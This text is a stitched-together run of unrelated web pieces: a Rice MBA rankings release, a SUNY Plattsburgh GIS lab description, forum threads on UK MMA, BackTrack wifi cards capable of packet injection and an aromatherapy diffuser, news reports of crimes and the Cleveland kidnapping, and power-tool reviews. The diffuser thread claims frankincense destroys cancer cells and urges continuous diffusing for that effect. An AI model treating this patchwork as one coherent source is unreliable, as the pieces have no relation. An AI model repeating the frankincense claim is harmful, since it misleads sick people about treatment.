Rice's Jones Graduate School faculty earn an 'A'HOUSTON -- (Nov. 12, 2010) -- In rankings released yesterday, Bloomberg BusinessWeek lists Rice University's Jones Graduate School of Business a top 30 MBA program and tabbed the school as one of the top 10 for its intellectual capital and faculty research. The school's faculty also earned an "A" in teaching. "It is especially rewarding to see the impact of our faculty and staff reflected in the Bloomberg BusinessWeek rankings," said Jeff Fleming, senior associate dean of academic affairs for the Jones Graduate School. "Our students benefit from the small size of the program relative to other top MBA programs because they get to work so closely with our faculty and staff. That offers students unique opportunities for leadership and networking within the program and incredible access to major corporations in the Houston business community."In recent years the school has steadily risen in the rankings by myriad publications. Fleming said the admissions process has focused on student quality while satisfaction among students has increased due to student support and program rigor. "Students give our career management center an 'A' grade," Fleming said. "The fact that student salaries are in the top 20 provides a market-based measure of what corporate recruiters think of our program."The Bloomberg BusinessWeek ranking of full-time MBA programs is based on three elements: a survey of newly minted MBAs, a poll of corporate recruiters and an evaluation of faculty research output. Bloomberg BusinessWeek's MBA survey, which measures satisfaction with all aspects of the business school experience, is combined with two previous MBA surveys. The corporate poll, which asks recruiters to identify the schools that produce the best graduates, is also combined with two previous recruiter surveys. Finally, Bloomberg BusinessWeek tallies the number of articles published by each school's faculty and reviews of their books. The MBA surveys and the recruiter polls each contribute 45 percent to the final ranking, with the intellectual-capital ranking contributing the final 10 percent."Our goal is to be programmatically elite in everything we do," said Sean Ferguson, assistant dean of degree programs. "Our convergence in rankings performance validates that no matter how a rankings methodology evaluates Rice's MBA programs, we are clearly moving in that direction." The Jones School is consistently recognized by several rankings publications for excellence of its faculty and programs, including the Rice MBA, Rice MBA for Executives and Rice MBA for Professionals. Recent rankings include:
"The Best B-Schools" is featured in the Nov. 15-21 issue of Bloomberg BusinessWeek. To view the full ranking, visit www.businessweek.com/go/10/best_bschools2010.Office of Public Affairs / News & Media RelationsDavid firstname.lastname@example.com firstname.lastname@example.com

- About Plattsburgh
The Remote Sensing/GIS Lab has been been producing a digital database of watersheds and wetlands in the Adirondack Park since 1991. Undergraduate students help with all specta of the research from delineating watersheds to remote sensing of wetlands to building the detailed Geographical Information System (GIS) databases. The lab is a focal point for research and teaching both remote sensing and GIS skills. SUNY Plattsburgh also supports a twenty station GIS computer lab.
The Remote Sensing Laboratory (RSL) contains a wide range of equipment including our own aerial camera system. The twin Hasselblad EL-500 cameras and custom-fabricated wing-mounted pod have been employed in several investigations where large-scale imagery of a local area was needed.
Photo interpretation equipment includes zoom, mirror and dual stereoscopes, parallax bars, stereo-zoom transfer scope, digital planimeters, and anaglphic and SIA stereoplotters. In addition, the lab has a LICOR spectroradiometer (300-1100 mm) and a Datacolor image-enhancement system.
The lab's local-area network consists of six PC's. Four digitizing tablets, 9-track and 8mm tape drives, two printers, and both ink-jet and pen plotters. Geographic Information System (GIS) and digital image processing systems include Arc/Info and ArcGIS (for both PC and Windows NT), Erdas Imagine, and a Spectral Data Corporation Remote Image Processing System (RIPS).
The Remote Sensing Laboratory has been involved with local and regional research projects including landslide and other geological research, acid precipitation research, sea-lamprey control, and wetlands mapping and ecology.
Studying Wetland/Watershed Relations in the Adirondack Park
Since 1995, the lab has been working with the Adirondack Park Agency and the Adirondack Lake Survey Corporation on a U.S. EPA -funded project to study wetland/watershed relationships within the Adirondack Park. Our contribution to the project is creating a digital database of watersheds, wetlands, and upland habitats within the study area. This database is being compiled from topographic maps, color-infrared aerial photography, and Landsat TM digital satellite imagery.
The first stage of this project (funded by a $165,000 USEPA — grant), covering the Oswegatchie and Black River watersheds, was completed in 1997. Additional funding, totaling almost $500,000, extended the study for another 5 years and will examine the upper Hudson River and St. Lawrence, and Regis watersheds. The current phase of the project, the upper Hudson River watershed is scheduled for completion in 1998, with the St. Lawrence following in 2001.
The projects have given many of our undergraduate students the opportunity to make a significant contribution to an ongoing research project. The students who have been involved with the project to date include:

Anyone else seen this
I would be there at Featherweight.
I've heard one or two things
this looks friggin awesome
For your MMA Fix, Don't Hit the Pit anymore coz its shut. MMAOfficials.co.uk
First I've heard of this - sounds cool. Good to see promotions clubbing together!
www.kaobon.com home of TEAM KAOBON MMA/MUAYTHAI
Founders of the group include; FX3, Ultimate Force, Ultimate Warrior Challenge, AMMA & Cage Warriors who between them will provide the UK MMA scene with 12 BFC shows in 2009 including an end of year Night of Champions when the 2009 season contenders for the British belts go head to head. The belts will cover 7 male and 2 female categories to be as inclusive as possible and will be worth up to £250,000 in total tournament purses.
Some off these organisations for title holders outside the uk?
Insert whiny message
Sounds cool... also 1 step closer to a governing body, which would improve UK MMA ten fold.
Do you think the promoters membership is open to new promoters, i.e. could Strike and Submit become a BFC member? If that was the case, then we could finally see the unification of the sport in the UK.

'A team with lots of cap space seeking scoring depth could potentially offer Vanek between $5 million and $6 million per season. If Regier matched the offer he'd retain Vanek, but at the expense of using up far more of his cap space for next season than originally intended, making it difficult to re-sign his other free agents.'

Hanging Out With Laura Haddock
Because 90 percent of the record business is timing and sometimes it all lines up: In this case, a song with radio traction from what's basically a hometown band (Newbury Park) has hit the charts just at the moment the circus comes to the desert.
Because like the construction of their best songs, Lord Huron has a been a slow build. After a year of hard touring, last year's debut — Land of Dreams — is just now getting some of the credit it deserves. Like we said in our December roundup of the year's most underrated emerging artists, "Ben Schneider, the one-man mastermind behind Lord Huron, has crafted the haziest, most vivid, and, ultimately, most unapologetically melodic debut of the year."

By Eric Stevick Herald Writer
EVERETT — A Mukilteo woman has died from injuries she suffered in a crash involving a man who allegedly was trying to outrun police in a stolen pickup truck.
Rachael Kamin, 40, suffered severe head injuries and died Tuesday, her sister Misty Sibley said.
Everett police say they now are investigating whether they can build a first-degree murder case against the convicted car thief they say was behind the wheel in the stolen truck.
Kamin, a registered nurse, was on her way home late Sunday night when her car was struck by a stolen Ford F350 pickup truck following a high-speed chase from Bothell into downtown Everett. She was just a few blocks from her job at the south campus of Providence Regional Medical Center Everett.
She died Tuesday at Harborview Medical Center in Seattle.
Even in death, her sister could be helping others with the gift of her organs, Sibley said.
"She was an adamant donor," she said.
Kamin was a nurse, wife and the mother of two sons, 15 and 13. She spent hours on the sidelines of their sporting events.
The high-speed chase began when Bothell patrol officers spotted the pickup truck, which had been reported stolen from Lake Stevens last week.
An Everett District Court judge on Tuesday set bail at $1 million for the suspect, Joseph D. Strange, 33. He has a long criminal history studded with multiple convictions for stealing cars and trying to elude police.
He initially was arrested for investigation of second-degree assault, auto theft and attempting to elude police while being an ex-con on community custody.
With Kamin's death, Strange will be facing more serious charges. Detectives hope to have him held for investigation of first-degree murder, Everett police Sgt. Ryan Dalberg said on Wednesday.
Under Washington law, a person can be charged with first-degree murder if he or she causes a death "under circumstances manifesting an extreme indifference to human life" or through behavior that "creates a grave risk of death to any person."
The "extreme indifference" theory was used by Snohomish County prosecutors to win a double-murder conviction against Dennis Cramm, an Everett teen who admitted repeatedly firing a military-style rifle into a car in May 2000.
The same theory has been used with mixed success by prosecutors in Spokane County in deaths resulting from car crashes.
In 1996, Spokane prosecutors opted to bring first-degree murder charges against an angry, drunken man who killed two when he deliberately ignored a stop light and plowed into other motorists. They got a 50-year sentence that withstood appeals. They attempted the same strategy in 2002 but a jury couldn't agree on whether the death was a murder. Instead, the man was convicted of vehicular homicide and faced an exceptional sentence.
Sunday's crash is being investigated by Everett police, whose officers were not involved in the pursuit.
"Bothell is going to be doing a review of their own pursuit," Dalberg said.
Everett has a policy that discourages car chases involving its officers.
As part of their investigation, Everett detectives want to talk with people who were in another passenger car that was hit by the fleeing pickup truck Sunday night at an AM/PM convenience store in the 1500 block of 164th Street SE. That collision occurred just before 11:30 p.m. on Sunday.
They are asking that driver and anyone who witnessed the collision to call the Everett Police Department tip line at 425-257-8450. Detectives note that a number of people posted comments on HeraldNet claiming to have seen parts of the chase or crash. They are hopeful that those commenters will pick up a phone.
Eric Stevick: 425-339-3446, email@example.com.

I have a D630 that I boot BT4 off a persistent USB drive. But it does not like my Broadcom 1395. Which cards do you have in yours and how do you have dual internal wlan's?
I have been able to successfully install BT4 prefinal on both a d620 and a d630, both have dual wifi cards and 3 gig ram. Both wifi cards are successfully detected and operate properly, able to inject. Other than following the instructions in the "up and running with backtrack prefinal", I have ran into no issues so far on either laptop. Both were live cd boots followed by local harddrive installs.
On a further note I am also able to boot to usb with persistant changes on bt3 with both models and without persistant changes on usb bt4 pre.
I have not attempted persistant boot on usb yet for bt4 but should have time this weekend.
I have a D630 that I boot BT4 off a persistent USB drive. But it does not like my Broadcom 1395. Which cards do you have in yours and how do you have dual internal wlan's?
I don't think a 802.11b/g card counts as two cards....
Actually pulling the keyboard off a D620 there's a second mini-pci slot for a wwan card. I guess you could throw a second wifi card in the slot. Not too sure how bad the antenna's will screw up the card though.
Of course, if you really wanted to have some fun, go to Wal-Mart late at night and ask the greeter if they could help you find trashbags, roll of carpet, rope, quicklime, clorox and a shovel. See if they give you any strange looks. --Streaker69
Well I'll be damned. I just got in my spare Broadcom 1390 (bought for $.99) and threw it in the wwan slot in a spare D630 we have here and it worked great. Nice to learn something new everyday.
That is exactly what I did, putting a 2nd card in the spare slot. I noticed that with the antenna's that ran there stock i only get about 50 to 75% of the reception in comparison to the main card, but it works nonetheless and I am sure i could modify it further if it starts to bug me.
Normally my setup is to use the 2nd card (weaker) to connect to the internet while i run kismet (or otherwise) on the stronger card, but both seem able to inject so it really doesn't matter.
I will open up my PC when I get off work and get the exact model of both cards and post here later tonight. Is there any other relevant information you would like me to post?

Texas Judge Strikes Down Obamacare Abortion Mandate
A federal judge in Huston ruled today that two Texas Baptist institutions, East Texas Baptist University and Houston Baptist University, are not required to provide abortion-causing drugs to their employees under Obamacare, 1200 WOAI news reports.
The Becket Fund for Religious Liberty, which represented the institutions, says it has now won 9 out of 12 cases which have come before the federal courts challenging the so called 'Obamacare mandate,' that employer-provided health care provide access to abortion drugs and contraceptives.
The Administration has provided exclusions to the mandate to churches and church institutions, but it has balked at extending it to other entities which are associated with churches, like universities and hospitals, and to private employers who say the mandate violates their religious beliefs, like Hobby Lobby Stores, Inc.
"The government has enforced the health care reform law very unevenly, handing out exemptions to those it sees as its allies," Deputy General Counsel Eric Rassbach said. "Perhaps the worst part of the government's approach is that it seems to have decided that religious institutions are the only ones not to get an exemption.
The judge, in a 46 page ruling, particularly questioned a request by an Obama Administration Attorney that the court 'evaluate the Universities' beliefs.'
"The religious organization plaintiffs have shown a sincerely held religious belief that the court cannot second guess," the judge said.
The U.S. Supreme Court is expected to add clarity to the issue, as it is expected to take up the Hobby Lobby case in March.

Re: Synergy Diffuser Questions
No 'spec sheet' on the diffuser - It does cover up to 1600sqft, yet this number is entirely up to the configuration of walls, etc. in the space - along with drafts and air changes which may clear out the essential oil in the air.
Size of particles - this number get's quoted sometimes in other literature. It's really almost irrelevant. As with any nebulizing diffuser, there are a range of sizes being produced. The unit does make a mist of essential oil which naturally rises and disperses throughout the space. The largest, heaviest particles are returned to the reservoir, and the lighter, smaller ones are emitted from the top of the unit. There is of course a range of particle sizes between the two.
NOTE that particles that emit from the top of the unit disappear almost immediately. Why? Because they are evaporating - becoming smaller and smaller and dispersing throughout the air space. No matter what, these are eventually becoming 1 molecule units, very easy to breath in and receive benefit from (When I'm really wanting some Frankincense in my lungs, I'll simply put my nose over the diffuser and inhale deeply - whatever the size of particle, I know the essential oil is getting in me!) ANY marketing discussing the particulate size is really meaningless, unless you're finding essential oil on the table around your diffuser (not the case with Ananda's diffuser).
It works by drawing up essential oil from the reservoir into a very fine glass tube by capillary action. Another tube sends pressurized air across the top of the first tube, making a mist of the oil on the spot. Small enough droplets travel upward, ones that are two large return to the reservoir for another go.
It is very nearly silent. With the top glass 'silencer' in place, one can detect the faintest of air sound. It's easy to sleep in the same room as the unit when on.
If run eight times per day, conventionally it is run less than 5 minutes each time. This is for aromatic purposes only - if one was wanting to support their health with a specific oil for a specific condition, the may use it much more frequently. For example, Frankincense has shown in several studies it's ability to destroy cancerous cells. If one wished to recreate this effect for themselves, they may run the diffuser for a longer period of time, or even continuously on a low setting.
How long will 15ml of essential oil last? THAT is the $64,000 dollar question. Think instead, how much of this oil, and how fast, do I want it in the air around me. All diffusers are 100% efficient. All the oil put in the diffuser is evaporated into the air. How fast and how much is completely determined on how high you've set the output dial, and how many number of minutes you'll run the diffuser each hour.

Re: Synergy Diffuser Questions
Hello - I am new here and have a slightly different question about the Synergy Professional model.
I have a smallish motor home with a mildew problem. I bought some of the Plant Therapy Germ-Fighter blend (same ingredients as Thieves Oil, at a fraction of the price) then realized the wall plug-in diffuser with the pads I have isn't the right thing for mold killing. Your Synergy professional diffuser is the most beautiful thing, but with a 1600 sq ft range, I'm wondering if it is overkill for this particular situation. Or would I just run it at the lowest setting? Or does it even matter?
I'm inclined to buy it anyway, as I'm sure I will use it in my house as well (looking for something to diffuse in my bedroom at night for sleep issues), I just wonder if I should use something smaller for the small-space mildew issue.
Thanks for any suggestions.

Re: Synergy Diffuser Questions
Hi - Thanks for your inquiry. No! Definitely not 'overkill' - it has an adjustment that's essentially the 'volume' output...an for your needs, you might want to run it on high for the periods it's 'on' anyway (these units were NOT designed to run ALL the time; aroma diffusers in general are only meant to run a few minutes every hour, as our olfactory sense will become sensitized to any aroma very quickly).
The units don't have a rated 'lifetime' in this respect, but they are under a 6 mo. warranty, just in case you work the motor a little hard during your mold-clearing process.
BTW - we do have PuriFy, same blend as Thieves as well.
All the Best,

Nearing the end of its first year in operation, Toyota's Collaborative Safety Research Center (CSRC) announced four new research projects and three new partnerships related to vehicle safety. The new projects are focused on advanced crash modeling technologies and better protecting vulnerable populations, particularly seniors.
The projects and partners include:
– a detailed computer model of the National Highway Traffic Safety Administration's (NHTSA) THOR-NT crash test dummy (Virginia Tech and George Washington University);
– confirming the biofidelity and injury prediction capability of Toyota's Total Human Model for Safety (THUMS) virtual human model in additional crash scenarios (University of Virginia);
– researching pre-drive behavior, such as where feet are placed prior to beginning the drive to determine the influence on driver-vehicle interactions (University of Iowa), and
– studying the relationship between the injuries and age, which could lead to improved safety restraints for older drivers (Virginia Tech).
CSRC director Chuck Gulash says the research "promises to advance our understanding significantly in the areas of active safety, driver distraction and protecting the most at-risk drivers." He adds that the CSRC goal is "to act as a catalyst for the advancement of automotive safety for the entire industry."
Though there is no current relationship between advanced CSRC research and Toyota safety application development it nevertheless occurred to me to see what Toyota is currently offering.
Starting with the 2011 model year, all Toyota, Lexus, and Scion vehicles have the Star Safety system as standard equipment. That includes vehicle stability control, anti-lock brake system, brake assist, traction control, electronic brake-force distribution, and smart stop, which reduces engine power when the brake and accelerator are pressed simultaneously. Toyota Sienna and Prius vehicles, as well as many Lexus models are also equipped with a Pre-Collision System (PCS); a feature that Toyota says will become more prevalent in the future. The PCS pulls seatbelts tight and applies the brakes if a front-impact accident is unavoidable.
The NHTSA site Safercar.gov (http://www.safercar.gov) gives the 2012 Toyota Prius five out of five stars overall, including four stars in front crash and rollover tests and five stars in side crash tests. The Insurance Institute for Highway Safety has not tested the 2012 Prius yet, but the 2011 model was an IIHS Top Safety Pick, earning a top score of "good" in front, rear, side and roof strength tests.
Let's hope all automakers continue to make safer vehicles.

A Shreveport woman said a nail tech from Style Nails in Shreveport crossed the line during a pedicure, and that she has cell phone video to prove it.
The incident took place last Friday at the nail shop located on Youree Drive. According to Lawanda Warren, a male nail tech fondled and groped her leg while giving her a pedicure.
"The massage kind of got weird because he went up my legs, and he kept going up, and up, and then he was up under the towel and then he was just groping my thighs," Warren said.
That's when she started recording a video of the pedicure using her cell phone.
We talked to nail tech Huey Tran at Style Nails and he said he did not do anything wrong.
"I pull the towel for her, and be done," Tran said.
The video shows him just massaging Warren's legs, but not in a sexual manner, he said.
A longtime customer at the nail salon said nothing like that has ever happened to her at Style Nails.
"I always wear pants, but if a person came in with a towel or skirt then they would put a towel over their legs and that is as far as it has ever gone," said Karen Emerson, who has been a customer of Style Nails for nine years, and has never had an inappropriate incident.
The Shreveport Police Department confirmed that a police report was filed concerning the incident. The allegations are still under investigation.

You can frost the cake with buttercream 3-5 days in advance. The same is true of a fondant cake, but keep in mind that you cannot refrigerate a fondant cake as the fondant will become soft. This also means that a fondant cake cannot have any kind of filling that requires refrigeration.

Giving credit where credit is due
Registration is now open for SCALE 9X — register now by clicking on the winking penguin.
Last week, Amber Graner did an interview with yours truly here. And when answering the question about my activities outside of Fedora — in which I am primarily involved when it comes to FOSS — I had a long, rambling answer about Lindependence 2008 and The Lindependence Project. But in tooting that particular horn, I mentioned Ken Starks but I neglected to mention two others who were — and still are — instrumental in the formation of The Lindependence Project and its ongoing maintenance.
Mea culpa, Stephen Rufle and Bob Lewis.
Stephen Rufle came up to Felton a few years ago from Phoenix, bringing his two boys and about a hundred stuffed penguins he makes at Open Animals. Using the GPL to license its patterns, Open Animals produces open source stuffed penguins — if you're so inclined, you can fork the pattern to make the penguin, or animal, of your choice, providing you release your creation under the GPL That's how it works. Anyway, Stephen and his sons were instrumental in making Lindependence 2008 a success back at its inception, and Stephen has, to date, hosted the lindependence.org site, which is currently undergoing a massive facelift. The reason for that is we're holding Lindependence Hours at various locations in Northern California and, watch this space, we'll be holding a Lindependence 2011 on or near Independence Day in Felton, California, at the Felton Presbyterian Church. Watch this space, and thanks very much for all you do for FOSS, Stephen.
I wish I had enough words that would be fitting for the superlatives Bob Lewis deserves. I met Bob at the Richard Stallman presentation at Cabrillo College in February 2008. Bob is a retired AT&T engineer who had also spent some time working at SCO — when it was the Santa Cruz Operation, based here in Santa Cruz, at a time when produced pretty good software before moving to Utah to become a litigation company. Bob was tireless in organizing and helping folks at Lindependence 2008, as well as being a spark plug in getting Felton LUG moving. Not only this, Bob is also an energetic evangelist for Linux and FOSS in the area, converting and helping many folks whom he has converted to Ubuntu. It would be nice to have a dollar for every time he comes to Redwood Digital and says, "Well, I have another convert." If anyone deserves to be at the top of the list for credit in Lindependence's success — the Felton Farmers Market Linux booth and the Felton LUG are offshoots of this success — it's Bob, and again I apologize for not mentioning it in the interview.
Thanks again guys for all you do.
(Fedora ambassador Larry Cafiero runs Redwood Digital Research in Felton, California, and is an associate member of the Free Software Foundation. He is also one of the founders of the Lindependence Project.)

Lots of good people in the Open Source Community.
Altruism abounds. The best part is that all these
good people show up and have fun, maybe work them-
selves sick but they have fun. Giving don't hurt.
There is a cranky old Debian guy in MA that called
me after I asked for help on his forum. We have
been talking for 3 years now. Good people
There was, as Larry says Quite a discussion this morning." on the #lindependence channel of IRC (freenode)
Yep, all about Communities. The communities are doing fine.
Give everybody a little space and encourage them to jump in
and lend a hand, things will be fine. Just do not spend all
your time arguing about what kind of cookies to serve at the
next meeting. FOSS will be there FTW, inspite of us.

Reid Passes 'Nuclear Option,' Changes Rules on Filibuster
(NEWSER) – The so-called "nuclear option" just happened: In a victory for Democrats, the Senate voted today to weaken filibusters and make it harder for Republicans to block confirmation of the president's nominees for judges and other top posts, reports the AP. The mostly party-line vote was 52-48. It came after a series of procedural moves and angry accusations from both parties' leaders. "It's time to change the Senate before this institution becomes obsolete," Harry Reid said before the vote, as per Politico. Minority Leader Mitch McConnell countered, "You'll regret this and you might regret it even sooner than you might think."

Related story: Suspect arrested in November slaying of 76-year-old in San Bernardino | Elderly woman killed in 'ransacked' San Bernardino home; vehicle missing
Photo Gallery: Murder suspect arrested
SAN BERNARDINO -- Police have arrested a registered sex offender in the November home-invasion robbery and killing of 76-year-old Mary Beth Blaskey, a crime Police Chief Robert Handy said shocked the conscience of the community.
Jerome Anthony Rogers, 57, of San Bernardino, was arrested on suspicion of murder Friday and booked into West Valley Detention Center in Rancho Cucamonga, Handy said. Police said sexual crimes were involved in Blaskey's death but did not elaborate.
The arrest was a major development in what police described as a complex and time-consuming investigation.
"We have spent tens of thousands of hours on this case since November," Handy said.
Handy said investigators believe at least
one other person was involved in the slaying.
Blaskey, a retired clerk and secretary for San Bernardino City Unified School District, was found dead by one of her sons Nov. 14 inside her Fremontia Drive home.
The home had been ransacked, and her 2001 Lexus ES300 was missing. Police found the vehicle abandoned on the northeast side of town Dec. 1.Handy said at a news conference Monday at police headquarters that forensic personnel spent more than 24 hours processing evidence at the home. They gathered about 300 pieces of evidence.Investigators made more than 70 arrests in connection with the case. Many of those arrested had reputations as burglars.
Sgt. Gary Robertson said people who knew Rogers saw him in late December with items they thought were out of place for him. One of those people, who had heard about the fatal break-in, called police.
"That's literally what put us on to him," Robertson said.
Rogers, who had been convicted of committing sex crimes with a child younger than 14 years old, denied being involved in Blaskey's death.
Police said Rogers drifted from home to home in the city and frequently spent time on the north end.
Investigators are looking into the possibility that he asked residents for work at their homes.
Police did arrest him late last year on suspicion of failing to register as a sex offender. He was released from custody after receiving 36 months probation for the offense, Handy said.
Police received confirmation on Friday that Rogers' DNA was found at the scene.
Handy said officers were still investigating Blaskey's killing, as well as two other similar cases in the past seven years.
"We're far from done, and we will not rest until we have all three suspects in custody for all three of these cases," he said.
The woman's death shook neighbors in the upscale and normally quiet Valencia area of the city and prompted several community meetings that urged senior citizens to take precautions.
Police in January posted a $10,000 reward for information in the case.
The same reward was also offered for information in the 2010 killing of Wanda Lee Paulin and the killing of Josephine Frances Kelly in 2005.
All three women were found dead in their ransacked homes.
Blaskey's death preceded a rash of home-invasion robberies in San Bernardino and surrounding areas early this year.
In January, at least one robber entered a home in an unincorporated area near San Bernardino and beat an elderly woman and her husband before fleeing with valuables.
Lorna Gable, 84, died about a month after the attack.
But Handy stopped short of saying the three San Bernardino killings and other incidents were related because, he said, the incidents were still under investigation.
He did say the $10,000 reward in the Blaskey case is still up for grabs.The arrest brought hope to relatives of the other two women killed in home-invasion robberies. Paulin's, Kelly's and Blaskey's relatives attended the news conference.Sherman Ballard, Paulin's son-in-law, said he was surprised at the depth of the Blaskey investigation.
"I feel confident that our P.D. will solve this crime," he said.
Phillip Kelly, the son of Josephine Kelly, said he was glad to see progress in the case.
"We'd still like to see our case be solved, but it's encouraging to see this progress," he said.
San Bernardino Mayor Pat Morris called Blaskey's death "tragic in the extreme" and urged people with information on the cases to report it.
"No lead is too small," he said.
Anyone with information may call police at 909-384-5656.

Cadillac was one of the early automakers to introduce a limousine into its line of car models. It was a move that would be the signature of the Cadillac brand dating back to 1914.
James Brewster was the nation's premiere horse or car carriage maker of the age. Being a descendant of Mayflower commuter and Plymouth Colony elder William Brewster certainly did not hurt that image. The Brewster family's first carriage-making company started operation in 1810. Subsidiaries were added in New York a generation later and then automotive models were added with the rise of horseless carriages. Henry Brewster, James' son, took the lead.
The 1918 Cadillac Type 57 was labeled a "Town Limousine," as a way to set it apart from a simple "town car." Its V8 engine offered 31 horsepower channeled through a three-speed, manual transmission. It carried five passengers and immediately earned a reputation for innovative and refined automobiles. The car maker offered 10 body styles and two wheelbase sizes. Production of the Type 57 ran from August 1917 through December 1919 with total production exceeding 45,000 cars.
Models cost about $4,000 but these days run around $50,000, which is small change for car collectors like Jay Leno, who owns one and has highlighted his love for the car on his Internet series, Jay Leno's Garage.

PHOTOS: Amanda Berry, Gina DeJesus found alive
(Cleveland) - Missing girls Amanda Berry and Gina DeJesus have been found alive in a Cleveland home, along with a third missing woman, Michelle Knight.
Cleveland Police found them in a home at 2207 Seymour Ave. A huge crowd of people gathered quickly as word got out.
Berry has been missing since 2003 and DeJesus since 2004. Knight, now 32, has been missing since 2002. She would have already been an adult when she disappeared.
All three have been taken to MetroHealth for examination. Dr. Gerald Maloney says the women are all safe and in fair condition. Dr. Maloney says they are being evaluated by specialists to see what care they may need.
On Monday night neighbors crowded around Seymour Avenue which had been blocked by Cleveland Police and FBI agents. There was a sense of relief Monday night. "I prayed for a miracle, and today we have a miracle" said Connie, who had lived a couple streets down from 2207 Seymour for 20 years.
Another neighbor organized vigils for Gina and Amanda for the past 10 years, and said she was overcome with joy and sorrow that Amanda's mother, Louwana, who passed away from illness several years ago didn't get a chance to know her daughter was alive.
Berry escaped and called 911 Monday afternoon. She also told the 911 dispatcher that she was the girl who'd been in the news for ten years.
(Amanda Berry (center) in a photo provided to WTAM 1100 by a family member)
A 52-year-old man has been detained and police say they will hold a press conference Tuesday morning. In her 911 call, Berry identified him as Ariel Castro, an Hispanic male.
Deputy Chief Ed Tomba also says two of the suspect's brothers are in custody.

Hitachi has entered the flooring-fastening market with five new cleat nailers and staplers. Oil-free tools include the NT50YF manual nailer and the NT50AGF pneumatic nailer. The manual nailer has a multiple-blow mechanism that raises the striking head only after the nail is fully driven. Oil-lubed tools include the NT50AF nailer, the N5009AF stapler, and the small N2503F stapler for thin laminate flooring, which has a novel front and rear dual-trigger design.
Porter-Cable's new oil-free 15-gauge angled (DA250C) and 16-gauge straight (FN250C) finish nailers are made of lightweight die-cast aluminum and feature tool-free depth-of-drive adjustment with detents for proper setting of nail heads, as well as adjustable exhaust, tool-free jam release, a sequential-style trigger with a lock-off switch, and a rear-load magazine that holds 100 nails.
Hose-free nailers can add a great degree of freedom to your work, especially during trim-out. Ridgid's new R250AF18 cordless 15-gauge finish nailer runs on a compact 18-volt lithium-ion battery pack and weighs 2 pounds less than the competition, according to the company. The tool shoots nails of up to 2-1/2; inches, has two firing modes, and sports dual-LED headlights.
Hidden deck-fastening hardware makes for a neater-looking installation of composite deck boards but takes more time than face-installed screws. To speed up the process, Tiger Claw developed a new way to attach its clips in an instant with a modified nailer. The Tiger Claw Semi-Automatic Hidden Deck Fastener Installation Gun shoots a combination screw/nail through the deck clip after the user slides it onto the nose of the nailer for fastening.
Makita's BST221 is a cordless 3/8-inch crown stapler designed to drive common flat-wire staples from 1/4 to 7/8 inch in length, including Arrow T50-type staples. Made with a machined aluminum magazine, it weighs 5.1 pounds and measures 9-7/8 inches long, and its spring-loaded drive mechanism allows for a more compact tool with less weight, says Makita. The stapler comes with two 18-volt LXT lithium-ion batteries, a 30-minute charger, a toolbelt clip, a bag, and safety glasses.
Bosch introduced a line of pneumatic nailers with an air-chamber design called Full Force Technology that enables these tools – unlike typical nailers – to use 100 percent of the air in the cylinder for driving fasteners by using a second burst of air to retract the driver. The line includes a roofing nailer (RN175), two framing nailers – round-head (SN350-20F) and clipped-head (SN350-34C) – 15-gauge (FNA250-15) and 16-gauge (FNS250-16) finish nailers, and an 18-gauge brad nailer (BNS200-18) and stapler (STN150-18).
Bostitch has added new features to its latest line of nailers, including an oil-free design, dry-fire lockout, a swivel air fitting for greater maneuverability, an integrated filter, a selectable trigger system that converts from sequential to contact mode with the flip of a switch, and a reversible belt hook. The 16-gauge FN1664K finish nailer, 18-gauge BT1855K brad nailer, and SX1838K finish stapler all feature Dial-A-Depth technology, which allows users to set nails to precise depths without having to change the compressor settings.
DeWalt redesigned the D51855 coil framing nailer's contact tip for a more aggressive bite. And to make field repairs easier, the tool has access to all wear components through the top of the head. The gun weighs 8.4 pounds, includes a trigger lock-off, and can hold between 200 and 300 15-degree wire collated nails.
The Pneu-Tools GT150TT hoseless nailer is designed to attach steel track to concrete and masonry. It's powered by a gas canister and drives standard breakaway-style pins from 1/2 inch to 1-1/2 inches. It weighs 8.3 pounds and features a high-voltage ignition, two-step rear loading, and a quick-clear nose, and is sold with two 6-volt niMH batteries, a charger, a carrying case, and a belt hook.
Powered by a gas canister, Duo-Fast's model 903000 hoseless 20-degree framing nailer weighs 7.6 pounds and has a sequential operation that will drive two to three nails per second, up to 1,200 nails per fuel can, and up to 4,000 nails before the battery needs recharging. Features include a utility hook, tool-free depth-of-drive, and dry-fire lockout. The framer drives 2- to 3-1/4-inch fasteners and includes a carrying case and a 6-volt rechargeable battery with a two-hour charger.
Bosch now has compressors. The 3-gallon CET3-10 and the 4-gallon CET4-20 and CET4-20W feature two "hot dog" style tanks positioned at a steep angle for good balance and better tank draining. They incorporate Bosch's patented EZ Drain system, with both tanks connected to one drain at the front. The 8-gallon electric (CET8-15W) and gas (CGT8-65W) wheelbarrow units have round handles to make them easier to slide into a truck.
Hilti's new cordless SFH 18-A hammer drill/driver and SF 18-A drill/driver are powered by the company's 18-volt Cordless Power Care (CPC) 2.6 amp-hour lithium-ion batteries. The tools have a maximum torque of 750 inch-pounds and a PTI-standard torque rating of 464 inch-pounds. With three speeds up to 2,140 rpm, both tools have keyless chucks and are sold in a molded case with two batteries, a charger, and a side handle. The hammer drill/driver weighs 5.7 pounds, and the drill/driver weighs 5.5 pounds.
Metabo's SXE450 TurboTec random-orbit sander is the first in the industry to offer two orbit settings of 1/8 inch and 1/4 inch, to adjust from fine finishing to fast stock removal with the touch of a button. The tool weighs 5.8 pounds, measures 11-1/2 inches long, and features a 3.4-amp variable-speed motor with TurboBoost, a voltage-control override for heavier sanding. It has a dust collector with a washable Intec filter, or it can be attached to a vacuum.
The Greenlee ETS12 9.6-volt cordless cutter cuts soft steel up to 1/2 inch in diameter in 4 to 5 seconds. Suited for cutting bolts, cable, thick wire, and threaded rod, the tool has a 350-degree rotating head, measures 14-3/8 inches long, and weighs 4 pounds. Fitting it into tight spaces and making multiple cuts is easier than with a manual bolt cutter, says the manufacturer. It makes up to 100 cuts per battery charge and comes with two batteries, a one-hour charger, and a molded case.
Two-stroke engines can be tricky to adjust, but they must be kept in tune to maintain high performance. Husqvarna's newest professional chain saw, the high-tech 576 XP Autotune, has a sensor that monitors the engine's combustion 20 times per second and adjusts the fuel-air mixture as needed to accommodate different gasoline octane ratings or blends, a clogged air filter, or changes in altitude or temperature. Husqvarna is so confident of this system that the carburetor doesn't even come with high and low jet-adjustment screws. The result of this design is a 73.5-cc 5.7-hp chain saw with reliable high performance and very low emissions, according to the manufacturer.

Is it in Sony vaults? Or didn't RCA record the song? Because I don't believe we have full concerts recorded from this time. But I wish I was wrong.
"Bridge Over Troubled Water" is one my favourite live tracks, specially in 1972.
Thank you in advance,

The sound quality and mix is extremely dull. I feel the Feb '72 recordings have never been presented well. Even the Vic Anesini masters are not that wonderful.

